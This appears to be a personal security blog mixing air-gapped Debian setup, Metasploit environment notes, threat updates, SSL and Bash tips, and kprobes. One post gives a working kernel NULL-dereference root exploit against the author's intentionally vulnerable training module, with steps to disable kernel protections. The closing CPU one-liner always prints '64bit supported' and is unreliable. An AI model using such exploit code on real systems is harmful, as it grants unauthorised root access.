Joining OWASP

I've decided to support it's mission and I have joined OWASP.

You can reach me via following email adress: mzet [at] owasp [dot] org.

Use my PGP key when sending sensitive information (you are encouraged to verify the fingerprint of this key before using it - use public keyserver for that):

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.14 (GNU/Linux)

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
PYWjMy0tteEVFw==
=nusV
-----END PGP PUBLIC KEY BLOCK----- 

Key fingerprint = 4DA1 6296 AD30 5875 7F36 EC9A 09A9 8C22 A513 D673

OWASP Appsec Tutorial Series

Good videos by OWASP. Be sure that developers in your team have watched it.

BKMs #0: Setting Up air gapped machine

Here's how I've setup and maintain Linux-based (Debian) air gapped computer.

Getting Debian

1) From trusted environment (I used computer and network at my work) I've downloaded debian.iso:

 $ wget http://cdimage.debian.org/debian-cd/7.2.0/i386/iso-dvd/debian\ 
-7.2.0-i386-DVD-1.iso

2) I've downloaded SHA1 sum and it's signature:

 $ wget http://cdimage.debian.org/debian-cd/7.2.0/i386/iso-dvd/SHA1SUMS.sign

3) To verify signature I needed Debian's cd/dvd signing key:

I googled exactly what I needed: "debian cd signing key", first match looked very promising: http://www.debian.org/CD/verify

I found (there was also second key with uid "Debian CD signing key" but with older date) what I was looking for:

pub   4096R/6294BE9B 2011-01-05
      Key fingerprint = DF9B 9C49 EAA9 2984 3258  9D76 DA87 E80D 6294 BE9B
      uid                  Debian CD signing key 
sub   4096R/11CD9819 2011-01-05

To be sure that http://www.debian.org/CD/verify site wasn't compromised at a time I was viewing it - I visited Google Cache of this site and compared key of interest:

pub   4096R/6294BE9B 2011-01-05
      Key fingerprint = DF9B 9C49 EAA9 2984 3258  9D76 DA87 E80D 6294 BE9B
      uid                  Debian CD signing key 
sub   4096R/11CD9819 2011-01-05

Good - exactly the same. One have to bear in mind that best practice is to check keyid/fingerprint of given cryptographic key from at least two sources (it's more difficult to compromise two sources at once). I used official Debian website as a first source and Google Cache of this site as second source. It's somewhat simpler approach (I don't need to look for second source which is sometimes tedious) but it's crucial to check date of generating cache by the Google. In this situtation older cache is better, for example if cache was generated ten days ago (and keys are identical on both current and cached versions) it means that site wasn't compromised OR it was compromised but nobody spotted it for 10 days (which is highly unlikely because many Debian developers see and use this site and would notice that keys listed there are forged).

4) Now that I identified valid key and verified that the source of it wasn't compromised, I could fetch key from public keyserver (using key id from above listings) and verify it's fingerpint:

 $ gpg --keyserver pgp.mit.edu --recv-keys 0x6294BE9B
 $ gpg --fingerprint 0x6294BE9B

Key fingerprint = DF9B 9C49 EAA9 2984 3258  9D76 DA87 E80D 6294 BE9B

Good - it's the same as advertised by key owner.

5) Now I can validate (by validating the key I confirm that I trust the owner of the key):

 $ gpg --edit-key 0x6294BE9B (in prompt choose: trust,3,quit)

6) Finally with valid key I can verify signature of downloaded iso image:

 $ gpg --verify SHA1SUMS.sign

7) I burned downloaded iso to DVD disc.

Installation

1) I used my legacy PC machine that I haven't used anymore (even better is to use completely new computer). I used magnetic (as opposed to SSD) disk (it much more difficult to securely erase SSD disks).

2) First I wiped out all the data from the disk (to do that I had to download Debian's liveCD and burn it to CD disc - I've made it from my trusted computer. I followed steps above when downloading livecd), then I boot it on my computer and I run:

 # shred /dev/sda

3) I've double checked that computer isn't connected to network and that it doesn't have wifi card installed (from this point on it will never be connected to network again). Now I could start installing OS.

4) I used following guide to do whole-disk encryption (I skipped part with setting up recovery system). I used Blowfish as an encryption algorithm (I do not trust AES anymore). I used this advice for choosing strong password that I could remember.

Usage

1) I bought new pendirve for moving files on and off my air-gapped machine (by the way I called it vault :) and I shredded it and created FAT16 partition:

 # shred /dev/sdb
 # fdisk /dev/sdb (n,t,w)
 # mkdosfs -F 16 /dev/sdb1

2) I generated gpg key pair on the vault and copied public key to pendrive:

 $ gpg --gen-key
 $ gpg --armor --output vault-key.asc --export 

Assumption is that private key will never leave vault machine. I copied public part (vault-key.asc) to my pendirve and I will share it with persons I need to communicate securely (of course I will also need their public keys for secure 2-way communication).

3) Also pendrive's whole-disk encryption is worth considering but I wanted to be able to use this pendrive both on Linux and Windows machines so I skipped this step for now (when I will transfer something sensitive I can always encrypt it with vault's public key).

4) I have now reasonably secure, air gapped computer. It's by no mean perfect: the way how files are transfered back and forth vault is obviously it's weakest point. Trusted "converters" or "verifiers" as mentioned here would help, but someone would have to write it first which isn't trivial.

5) Some typical maintenance issues and the way I deal with it:
- In case I will need more software I can always repeat steps "Getting Debian" to download second (or third) Debian's DVD.
- Keeping software up to date can be achieved by downloading Debian's update iso images.
- One more thing that I leave for now is maintaining secure backups of vault's disk - but it's doable.

Autumn hiking in Owl Mountains

(in Polish)

Jesienny wypad w Góry Sowie i okolice Wałbrzycha, zaowocował trzema kolejnymi "zdobyczami" z listy Korony Gór Polski: Wielka Sowa, Waligóra oraz CHełmiec. Poniżej kilka zdjęć z wyprawy:

Góry Sowie, Wielka Sowa - 1015 m n.p.m.

Góry Kamienne, widok z Waligóry (936 m n.p.m.)

Góry Wałbrzyskie, Chełmiec - 851 m n.p.m.

Setting Up a Metasploit Development Environment for CentOS/Fedora

Here are steps to quickly set up development environment for Metasploit Project on rpm-based (CentOS & Fedora Core) Linux distros. The following is shortened version of official Metasploit tutorial (which describes whole process for Debian/Ubuntu distros). Idea is to prepare basic environment to start development quickly.

Install required packages:

 # yum -y install postgresql-devel libpcap-devel git

Install Ruby environment:

 $ curl -L https://get.rvm.io | bash -s stable --autolibs=enabled \
     --ruby=1.9.3

I got complaints about checksum verification, so I had to run:

 $ ~/.rvm/bin/rvm get stable

and now rerun:

 $ curl -L https://get.rvm.io | bash -s stable --autolibs=enabled \
     --ruby=1.9.3

Source rvm environment for current Bash session (also remember to add it to your ~/.bashrc):

 $ source ~/.rvm/scripts/rvm

Set your default ruby and gemset:

 $ rvm use --create --default 1.9.3-p448@msf

On CentOS when I tried to run from my metasploit-framework checkout:

 $ gem install bundle && bundle install

I got following error message:

 ERROR:  While executing gem ... (Gem::FilePermissionError)
 You don't have write permissions into the
 ~/.rvm/gems/ruby-1.9.3-p448@msf/bin directory.

It turned out that ~/.rvm/gems/ruby-1.9.3-p448@msf/bin directory doesn't exist - creating it solved the problem:

 $ cd ~/.rvm/gems/ruby-1.9.3-p448@msf
 $ mkdir bin

Ater rerun:

 $ gem install bundle && bundle install

I got similar error message (on CentOS):

 ERROR:  While executing gem ... (Gem::FilePermissionError)
 You don't have write permissions into the
 ~/.rvm/gems/ruby-1.9.3-p448@metasploit-framework/bin directory.

As previously, creating bin/ directory solved the issue:

 $ cd ~/.rvm/gems/ruby-1.9.3-p448@metasploit-framework
 $ mkdir bin

From now on bundle installation went smoothly and soon I was able to start msfconsole from my metasploit-framework directory:

 $ ./msfconsole -L

It's all that is required to start hacking on Metasploit codebase. I've ommited some optional steps listed in official tutorial - most notably step with forking official Metasploit repo, but because it is only required to perform pull requests, one can postpone it for now and do it when his new feature/module will be initially implemented.

Patch to Nmap: adding APT1 malware fingerprints

Mandiant company released fingerprints of SSL certificates used by APT1 malware, it's valuable threat intelligence data so I thought it's worth to add it to Nmap.

With this simple patch Nmap gained capability to warn you when it finds a HTTPS server which supposedly belongs to APT1's attack infrastructure. Simply run:

 $ nmap -n -P0 -p 443 --script ssl-known-key <YOUR-NETWORK-IP-RANGE>

to discover signs of APT1 in your network.

Threat update #9

(in Polish)

Wreszcie coś o APT (Advanced Persistent Threat) w polskim internecie:

- Nowe formy wirtualnej wojny

- Cyberataki typu APT nowym frontem wojny

- Instytucje rządowe i firmy ofiarami ataków typu APT

- Ocena ryzyka lekarstwem na cyberataki typu APT

A wszystko to za sprawą raportu firmy Deloite zatytułowanego Cyber Espionage The harsh reality of advanced security threats.

Dla jeszcze nie przekonanych o potrzebie zaadresowania ryzyka związanego z APT odsyłam tutaj: top five threats to global businesses.

Some photos from this year's hiking in Dolomites.

 

Threat update #8

Recently disclosed privacy threats posed by the US and UK goverments:

- PRISM

- Collecting phone records

- Undersea cable tapping

Threat update #7

Some insights about corporate cyber episonage in Great Britan from director of GCHQ (interview from pre-PRISM era).

Hand-to-hand combat technique: fighting off multiple attackers

Excellent video from AKBAN Academy: how to fight off multiple attackers.

Software flaw #4: NULL pointer dereference

Description of NULL pointer dereference can be found here and here.

For purposes of learning kernel exploitation techniques I've started project libdojang. It is simple framework (composed of kernel module & userspace library) that can aid process of understanding how the kernel exploitation works. It is work in progress and I plan to introduce new types of vulnerabilities into the module to learn new exploitation methods.

I will start from simplest case of NULL pointer dereference (direct call/jmp dereference).

Vulnerability

Kernel module from libdojang (snippet of module/dojang.c file):

[...]
else if(cmd == DOJANG_NULLDEREF_CALL) {     [1]
    struct Ops {
        ssize_t (*do_it)(void);
    };
    static struct Ops *ops = NULL;          [2]

    printk(KERN_INFO "[dojang] DOJANG_NULLDEREF_CALL ioctl\n");
    return ops->do_it();                    [3]
}
[...]

Code responsible for processing DOJANG_NULLDEREF_CALL ioctl starts at [1]. At [2] Ops struct pointer that points to NULL is created. At [3] attempt to call do_it() using NULL pointer is made.

Exploit

File from libdojang (exploits/nullderef.c):

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <dojang.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
  __attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new)
  __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
    char c, sym[512];
    void *addr;
    int ret;

    while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
        if (!strcmp(sym, name))
            return addr;
    return NULL;
}

void get_root(void) {
    commit_creds(prepare_kernel_cred(0));
}
 
int main()
{
    void *res;

    if(dojangInit() < 0) {
		printf("[-] failed to initialize dojang.\n");
		return 1;
	}

    prepare_kernel_cred = get_ksym("prepare_kernel_cred");  [1]
    commit_creds        = get_ksym("commit_creds");

    if (!(prepare_kernel_cred && commit_creds)) {
      fprintf(stderr, "Kernel symbols not found. "
                      "Is your kernel older than 2.6.29?\n");
      return 1;
    }

    res = mmap(0, 4096, PROT_READ|PROT_WRITE,               [2]
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
    if(res == MAP_FAILED) {
        printf("failed to mmap 0 page\n");
        return 1;
    }

    void (**fn)(void) = NULL;                               [3]

    *fn = get_root;

    // trigger null pointer dereference in kernel
	dojangNullderefCall();                              [4]

    dojangClose();

    if (!getuid()) {
      char *argv[] = {"/bin/sh", NULL};
      execve("/bin/sh", argv, NULL);                        [5]
    }

    printf("Something went wrong\n");

    return 0;
}

As we can see above the vulnerability is exploited by changing cred struct (it's a structure that keeps permissions a current task has - uid, gid and so on) for current process and then executing sh. In order to accomplish that the exploit looks for addresses of prepare_kernel_cred and commit_creds functions in /proc/kallsyms file at [1]; mmaps 0-page at [2] and drops function pointer to our get_root() function at NULL at [3]. Finnaly it triggers NULL pointer dereference [4] which invokes in kernel mode our get_root() function which changes our's process credentials. So executed shell at [5] has uid 0.

Limitations

1) In practice such simple cases are not exploitable anymore due to protections implemented in Linux kernel:
vm.mmap_min_addr
kernel.kptr_restrict

So make sure to turn these protections off when trying above exploit:

# sysctl vm.mmap_min_addr=0
# sysctl kernel.kptr_restrict=0

2) Works on x86 architecture only.

3) Kernel 2.6.29 or newer is required (older kernels doesn't support prepare_kernel_cred & commit_creds functions)

Mitigation

See the links above describing NULL pointer dereference vulnerability.

Threat update #6

Internet census experiment showed us all how easy it is to create a botnet. AusCERT further analyzed data available from the experiment..

Key facts:
1) there is ~8.88 vulnerable devices per 100 class C ranges out there;
2) scanning 10 IPs/sec would take 4.78 minutes to find such device;
3) due to huge number of such unprotected devices (~1.2 million) available, it could pose threat similar to one with open DNS resolvers issue (threat update #4).

Threat update #5

Some network attacks (with proposed countermeasures) that every security conscious organization should take into account in it's threat model.

Threat update #4

Some insights about ... "the largest known DDoS attack ever on the Internet" ... (according to New York Times), from ClouldFlare (service provider that helped mitigate the attack).

Some conclusions:
1) as this attack showed anycast technology seems to be very effective against this kind of attacks.
2) open DNS resolvers are nowadays threat number one when it comes to DDoS attacks (according to Open Resolver Project there are 28 million of resolvers that pose a significant threat).

Threat update #3

According to Microsoft's latest threat report HTTP based malware are on the rise:

... "Detections of the generic family JS/IframeRef increased fivefold in 4Q12 after falling off significantly between 2Q12 and 3Q12. IframeRef is a generic detection for specially formed HTML inline frame (IFrame) tags that redirect to remote websites that contain malicious content. The increased IframeRef detections in 2Q12 and 4Q12 resulted from the discovery of a pair of widely used new variants in April and November 2012." ...

Here's some statistics (also from the report):

Family 1Q12 2Q12 3Q12 4Q12
JS/IframeRef* 2.3% 11.3% 1.7% 13.6%
Blacole* 7.0% 5.4% 5.0% 5.1%
JS/BlacoleRef* 3.3% 4.1% 5.8% 4.2%

More client machines infected probably means more web servers spreading the malware.

Threat update #2

Linux/Cdorked.A malware (backdoor) has been detected recently. It is known to affect Apache, nginx & Lighttpd web servers. Detailed analysis can be found here and is continued here.

It is also worth to note another Linux malware (rootkit) that has been recently found in the wild and was analyzed by CrowdStrike.

Threat update #1

Exploit for CVE-2013-2094 (Linux local privilege escalation vulnerability) is publicly available here.

SSL essentials for system administrators

X.509 standard specifies format for public key certificates.

Structure of a public key certificate is expressed in a formal language: ASN.1.

Creating self-signed certificate:

1) create private key & public key (without passphrase)

$ openssl genrsa -out server.key 2048

2) only private key was generated, but public key can be always extracted from it:

$ openssl rsa -in server.key -pubout

3) create certificate-signing request (CSR). It will contain public key of the entity requesting the certificate and information about the entity.

$ openssl req -new -key server.key -out server.csr

4) sign your own certificate using CSR and your private key (for real certs it would be private key of Certificate Authority)

$ openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

5) examine the contents of your certificate

$ openssl x509 -text -in server.crt

Adding SSL support in Apache2:

<IfModule mod_ssl.c>
Listen 443
NameVirtualHost *:443
<VirtualHost *:443>
    SSLEngine On
    SSLOptions +StrictRequire
    SSLCertificateFile /etc/httpd/conf/ssl/server.crt
    SSLCertificateKeyFile /etc/httpd/conf/ssl/server.key
</VirtualHost>
</IfModule>

SSL deployment best practices can be found here.

Example certificate in text format:

Certificate:
Data:
Version: 1 (0x0)
Serial Number:
    aa:c9:e7:2b:f7:fe:38:e2
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=PL, ST=xxx, L=xxx, O=xxx, OU=xxx, CN=www.mysecuresite.com/emailAddress=xxx
Validity
    Not Before: Feb  7 13:28:40 2013 GMT
    Not After : Feb  7 13:28:40 2014 GMT
Subject: C=PL, ST=xxx, L=xxx, O=xxx, OU=xxx, CN=www.mysecuresite.com/emailAddress=xxx
Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
	Public-Key: (2048 bit)
	Modulus:
	    00:df:02:92:d7:f4:0d:08:a0:78:14:f3:d4:a6:ff:
	    d7:36:ce:1d:75:90:92:af:c6:79:b1:e9:7a:60:2e:
	    b3:8a:77:94:79:c0:4f:a2:07:50:c0:9b:9e:38:9d:
	    a2:80:a9:c6:97:24:3d:80:da:13:15:63:f0:46:aa:
	    98:4d:3a:0b:37:94:4b:d9:bf:fd:8e:b6:7e:b7:46:
	    a1:58:05:20:9c:e0:6f:85:21:35:8a:14:04:7c:11:
	    0b:ed:1e:d5:24:98:0d:60:48:3f:40:51:38:17:05:
	    46:5a:2f:78:0d:64:f7:83:0a:e2:86:63:e0:23:18:
	    9a:ca:29:32:70:43:4e:41:ca:c9:57:5a:c8:9a:a7:
	    3d:50:63:96:b5:99:5a:c5:21:29:39:a5:6e:37:fb:
	    60:14:a4:a4:c7:4d:98:dc:1e:fa:c5:3e:b7:e1:ad:
	    2e:e5:c2:83:30:af:81:5d:0b:b2:19:26:6a:04:0b:
	    0b:e1:a6:70:75:ee:a2:fa:32:8d:b6:89:c8:ad:9f:
	    f0:25:66:29:27:e9:16:bf:1e:2f:ab:d4:29:af:33:
	    46:a1:c8:84:36:9a:f9:67:1a:e7:0e:e3:ac:bf:a4:
	    54:e6:e4:8d:dc:e2:1b:ad:3f:b9:3f:8c:af:7e:72:
	    27:ea:6b:6f:c7:cd:54:5a:4b:b0:e8:0a:2b:b4:dc:
	    aa:b1
	Exponent: 65537 (0x10001)
Signature Algorithm: sha1WithRSAEncryption
57:96:60:2f:97:92:a7:b4:23:9d:0d:17:62:33:e2:bb:df:34:
c1:5c:43:df:63:c1:78:53:8c:a7:e5:ad:25:3a:5f:1d:f7:70:
2b:0b:28:33:61:f9:94:6f:4f:19:e0:2d:fc:fd:40:ad:8b:5c:
cc:b3:7d:0c:ed:85:05:ad:d5:ec:9f:61:61:d7:e4:89:12:5d:
f4:97:c4:a5:b2:37:4f:15:5b:da:f2:80:a0:5d:a7:91:5f:77:
1b:ee:2e:03:3f:10:3e:2c:bf:7e:f9:c0:5b:21:04:97:bb:42:
c9:f9:b6:30:99:8d:1a:35:7c:8e:6e:2a:91:c1:c0:2c:06:53:
eb:f5:72:a1:44:f5:b5:e0:b8:b8:3f:cd:34:2c:10:0b:69:ea:
11:a8:98:00:28:f8:36:64:18:53:73:fd:7f:35:81:cd:5a:7e:
a4:34:2f:8b:b9:54:46:94:6d:d4:13:13:e2:16:df:73:9b:0d:
fe:ce:1f:53:5c:ff:cd:91:d6:60:7d:bf:65:35:67:f6:57:a9:
8a:f8:ff:d3:23:4e:a0:83:41:5f:22:dc:4c:39:06:02:84:0f:
82:21:72:21:e7:d9:14:5d:9a:66:36:38:ba:15:af:97:45:06:
dc:da:9a:e3:6d:e4:61:36:42:ba:82:39:44:a4:35:cb:75:56:
2d:36:b0:9a

most important fields:
1) Issuer: #certificate authority, Verisign for example (Issuer == Subject in case of self-signed certificates)
2) Subject: CN: #common name, it's the part that must match the host being authenticated (it should be domain name of your server)

Certificates are commonly stored in two formats:
1) DER binary with extensions: .cer, .crt, .der
2) PEM (Privacy Enhanced Mail), base64 encoded DER certificate, enclosed between "-----BEGIN CERTIFICATE-----" and "-----END CERTIFICATE-----" with extension .pem

Getting certificate in PEM format from remote server:

$ openssl s_client -connect <ip:port> < /dev/null 2> /dev/null | openssl x509

Showing remote certificate in text format:

$ openssl s_client -connect <ip:port> < /dev/null 2> /dev/null | \
    openssl x509 -noout -text

Creating fingerprints (sha1):

$ openssl s_client -connect <ip:port> < /dev/null 2> /dev/null | \
    openssl x509 -noout -fingerprint

Simple debugging technique:

$ openssl s_client -connect <ip:port> -state -debug

Google maintains database of SSL certificates that were found by it's web crawlers. To check whether given certificate is available in Google's database (Google Certificate Catalog) do this:
calculate sha1 fingerprint of chosen certificate:

$ openssl s_client -connect <ip:port> < /dev/null | \ 
    openssl x509 -outform DER | openssl sha1

look up a TXT record with calculated fingerprint as a name in the certs.googlednstest.com domain:

$ dig +short 405062e5befde4af97e9382af16cc87c8fb7c4e2.certs.googlednstest.com TXT

You will get three numbers: the first number is the day that Google's crawlers first saw that certificate, the second is the most recent day, and the third is the number of days we saw it in between.
Only Certificates that satisfy following criteria will appear in Google's catalog: it must by correctly signed (either by a CA or self-signed); it must have correct domain name, that is, one that matches the one we used to retrieve the certificate.

Useful looping constructs in Bash

Handy "looping" constructs which I frequently use in my Bash scripts & one-liners:

1) loop over files

for FILE in /etc/*; do echo "etc file: $FILE"; done

OR:

for FILE in `find / -type f -name conf`; do 
    echo "File with 'conf' in name: $FILE"; 
done

2) loop over lines in file

cat /etc/hosts | while read LINE; do echo $LINE; done

OR:

while read LINE; do echo $LINE; done < /etc/hosts

3) loop over words in a file

for WORD in `cat /etc/hosts`; do echo $WORD; done

4) loop over elements in array

A=(a b c)
for i in ${A[@]}; do
    echo $i
done

Some more advanced (but also useful) constructs:

1) looping over array of functions & executing each function

FUNC_LIST=(func1 func2)

function func1 {
    echo 'func1 here'
}

function func2 {
    echo 'func2 here'
}

for func in ${FUNC_LIST[@]}; do
    eval $func
done 

2) passing array to function

ARR=(el1 el2)

function func {
    declare -a argArray=("${!1}")
    echo "${argArray[@]}"
}

func ARR[@] 

Linux kernel hacking for System Administrators (part I)

Generally speaking kernel hacking is full time job and most of us, sys admins do not possess required programming skills and experience (or just time) to actively help in developing Linux kernel.

Nevertheless knowledge about kernel internals and familiarity with some of it's features can be of a great help for seasoned system administrator. In this series of articles I will try to demystify kernel's functionality that can help in managing & troubleshooting server's related issues.

In the first part I will present how Kernel Probes (Kprobes) mechanism can be used.

We will create kernel module that inserts jprobes (special type of KProbe). Jprobes allow us to insert kprobe on kernel's function entry point to get convinient access to function's arguments. Let's say that I want to get better insight on what's going on when specific ioctl (DRM_IOCTL_I915_GETPARAM sent to Intel's graphics card driver in my example) is called. To accomplish this we will need: linux kernel source, Makefile (that will build our module) and source code of our module (let's call it tracingModule.c).

Makefile:

obj-m += tracingModule.o

module:
	make clean 
	make -C /lib/modules/`uname -r`/build M=`pwd` modules

all:	module

clean:
	make -C /lib/modules/`uname -r`/build M=`pwd` clean

Module's source code:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/kprobes.h>
#include <linux/kallsyms.h>
#include <linux/moduleparam.h>
#include <linux/slab.h>
#include <drm/i915_drm.h>
#include <drm/drmP.h>

/*
 our tracing function that will be called before original
 (i915_getparam that is responsible for handling 
 DRM_IOCTL_I915_GETPARAM ioctl) function.
 Here it lists values of parameters sent to the function.
*/
static int my_i915_getparam(struct drm_device *dev, void *data,
struct drm_file *file_priv)
{
    drm_i915_getparam_t *args = data;

    printk("ioctl(DRM_IOCTL_I915_GETPARAM, (drm_i915_getparam_t *) 0x%p"
	"{ param = %d, value = %d })\n", data, args->param, *(args->value));

    jprobe_return();
    return 0;
}

/* jprobe struct .entry field is pointing to our tracing function */
static struct jprobe my_getparam_jprobe = {
    .entry = (kprobe_opcode_t *) my_i915_getparam
};

/* setting up jprobe on chosen symbol (function name) */
int probeInit(struct jprobe *probe, const char *symbolName)
{
    int ret;

    probe->kp.addr = 
    (kprobe_opcode_t *) kallsyms_lookup_name(symbolName);
    if(!probe->kp.addr) {
	    printk("Couldn't find %s to plant jprobe\n", symbolName);
	    return -1;
    }

    if ((ret = register_jprobe(probe)) < 0) {
	    printk("register_jprobe failed, returned %d\n", ret);
	    return -1;
    }
    printk("Planted jprobe at %p (%s), handler addr %p\n",
    probe->kp.addr, symbolName, probe->entry);

    return 1;
}

/* standard module initialization function. Invoked by 
the kernel on loading the module. It registers our jprobe
on specified (i915_getparam) function.
*/
int init_module(void)
{
    if(probeInit(&my_getparam_jprobe, "i915_getparam") == -1)
	printk("Failed to insert jprobe. Exiting.\n");

    printk("jprobe registered.\n");

    return 0;
}

/* standard module cleanup function. Invoked by 
the kernel on unloading the module. It unregisters our jprobe.
*/
void cleanup_module(void)
{
    unregister_jprobe(&my_getparam_jprobe);
    printk("jprobe unregistered\n");
}

MODULE_LICENSE("GPL");

To build and load the module:

$ make
$ sudo insmod ./tracingModule.ko

Executing dmesg will show you details that your jprobe has printed.

[one-liner] shows whether your CPU supports 64bit mode

grep -q ' lm ' /proc/cpuinfo; [ 0 -eq 0 ] && echo '64bit supported'


it shows whether your CPU supports 64 bit (x86-64) mode. uname -a only shows whether you have 64 bit (x86-64) or 32bit (i386) OS installed, this one-liner answers question: Can I install 64bit OS on this machine?